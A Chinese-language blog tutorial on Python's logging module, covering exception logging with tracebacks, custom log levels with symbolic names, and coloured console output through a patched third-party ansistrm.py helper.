<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">try:
    result = 10 / 0
except Exception:
    logger.error('Faild to get result', exc_info=True)
    # 或者用下面这个
    # logging.exception('Error')
logger.info('Finished')</pre>
<p class="md-end-block" contenteditable="true">输出</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">2019/01/13 14:11:18 - Your Logger - ERROR - Faild to get result
Traceback (most recent call last):
  File "E:/Python/test.py", line 22, in &lt;module&gt;
    result = 10 / 0
ZeroDivisionError: division by zero
2019/01/13 14:11:18 - Your Logger - INFO - Finished</pre>
<p class="md-end-block" contenteditable="true"><span class="">这样会更合理的捕获异常信息。</span></p>
<h1 class="md-end-block md-heading" contenteditable="true">自定义日志级别</h1>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">import logging
​
INFO, WARN, ERROR, SUCCESS = range(1, 5)
# print(SYSINFO, WARN, ERROR, SUCCESS)
logging.addLevelName(INFO, '*')
logging.addLevelName(WARN, '!')
logging.addLevelName(ERROR, 'x')
logging.addLevelName(SUCCESS, '+')
​
logger = logging.getLogger('LOGGER')
handler = logging.StreamHandler()
formatter = logging.Formatter(fmt='%(asctime)s [%(levelname)s] %(message)s', datefmt='%Y/%m/%d %H:%M:%S')
handler.setFormatter(formatter)
logger.addHandler(handler)
logger.setLevel(INFO)
​
logger.log(INFO, "INFO")
logger.log(WARN, "WARN")
logger.log(ERROR, "ERROR")
logger.log(SUCCESS, "SUCCESS")</pre>
<p class="md-end-block" contenteditable="true">输出</p>
<pre class="lang:default decode:true">2019/01/13 14:17:59 [*] INFO
2019/01/13 14:17:59 [!] WARN
2019/01/13 14:17:59 [x] ERROR
2019/01/13 14:17:59 [+] SUCCESS</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">先定义级别和数值，然后调用<span class="" spellcheck="false"><code>addLevelName(级别名,'输出名')</code></span><span class="">。记得</span><span class=""><strong>数值不能小于等于0</strong></span>，注意输出日志的级别。</p>
<h1 class="md-end-block md-heading" contenteditable="true">给输出加上颜色</h1>
<p class="md-end-block" contenteditable="true">用到了一个第三方的脚本<span class="" spellcheck="false"><code>ansistrm.py</code></span><span class="">，下载地址</span><span class="md-link" spellcheck="false"><a href="https://gist.github.com/Y4er/6300ccff3a6628ea7bda24e514013476">https://gist.github.com/Y4er/6300ccff3a6628ea7bda24e514013476</a></span><span class=""> 原作者脚本不支持win10，我修复了一下。</span></p>
<p class="md-end-block" contenteditable="true">将这个脚本<span spellcheck="false"><code>ansistrm.py</code></span>和你的<span spellcheck="false"><code>log.py</code></span>放到同一目录，然后<span spellcheck="false"><code>log.py</code></span>如下内容</p>
<pre class="lang:default decode:true md-fences md-end-block ty-contain-cm modeLoaded">#!/usr/bin/env python3 
# -*- coding: utf-8 -*- 
# @Time : 2019/1/12 21:01 
# @Author : Y4er 
# @Site : http://Y4er.com/
# @File : log.py 
​
​
import logging
​
INFO, WARN, ERROR, SUCCESS = range(1, 5)
# print(SYSINFO, WARN, ERROR, SUCCESS)
logging.addLevelName(INFO, '*')
logging.addLevelName(WARN, '!')
logging.addLevelName(ERROR, 'x')
logging.addLevelName(SUCCESS, '+')
​
logger = logging.getLogger('YOUR LOGGER')
try:
    from ansistrm import ColorizingStreamHandler
​
    handle = ColorizingStreamHandler()
    handle.level_map[logging.getLevelName('*')] = (None, 'cyan', False)
    handle.level_map[logging.getLevelName('+')] = (None, 'green', False)
    handle.level_map[logging.getLevelName('x')] = (None, 'red', False)
    handle.level_map[logging.getLevelName('!')] = (None, 'yellow', False)
except Exception as e:
    print(e)
    handle = logging.StreamHandler()
​
formatter = logging.Formatter('%(asctime)s - [%(levelname)s]  %(message)s', '%Y/%m/%d %H:%M:%S')
handle.setFormatter(formatter)
logger.addHandler(handle)
logger.setLevel(INFO)
​
​
class LOGGER:
    @staticmethod
    def info(msg):
        return logger.log(INFO, msg)
​
    @staticmethod
    def warning(msg):
        return logger.log(WARN, msg)
​
    @staticmethod
    def error(msg):
        return logger.log(ERROR, msg)
​
    @staticmethod
    def success(msg):
        return logger.log(SUCCESS, msg)
​
​
LOGGER.info("INFO msg")
LOGGER.warning("warning msg")
LOGGER.error("error msg")
LOGGER.success("success msg")</pre>
<p class="md-end-block md-focus" contenteditable="true"><span class="md-expand">在这个脚本中，我写了一个类以及其下的四个静态方法，那么可以这么调用</span></p>
<pre class="lang:default decode:true  ">LOGGER.info("INFO msg")
LOGGER.warning("warning msg")
LOGGER.error("error msg")
LOGGER.success("success msg")</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true"><span class="">运行效果：</span></p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz4y1l55w9j30bo038dfx.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fz4y1l55w9j30bo038dfx.jpg" /></span></p>
<h1 class="md-end-block md-heading" contenteditable="true">写在文后</h1>
<p class="md-end-block" contenteditable="true">是时候抛弃<span spellcheck="false"><code>print</code></span><span class="">了！</span></p>
<p class="md-end-block" contenteditable="true"><span class="">参考链接</span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link"><a spellcheck="false" href="https://cuiqingcai.com/6080.html">Python中logging模块的基本用法 &#8211; 崔庆才老师</a></span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link"><a spellcheck="false" href="https://gist.github.com/vsajip/758430">原版ansistrm.py &#8211; vsajip</a></span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link md-expand"><a spellcheck="false" href="https://gist.github.com/vsajip/758430#gistcomment-2764744">修复ansistrm.py以支持win10</a></span></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
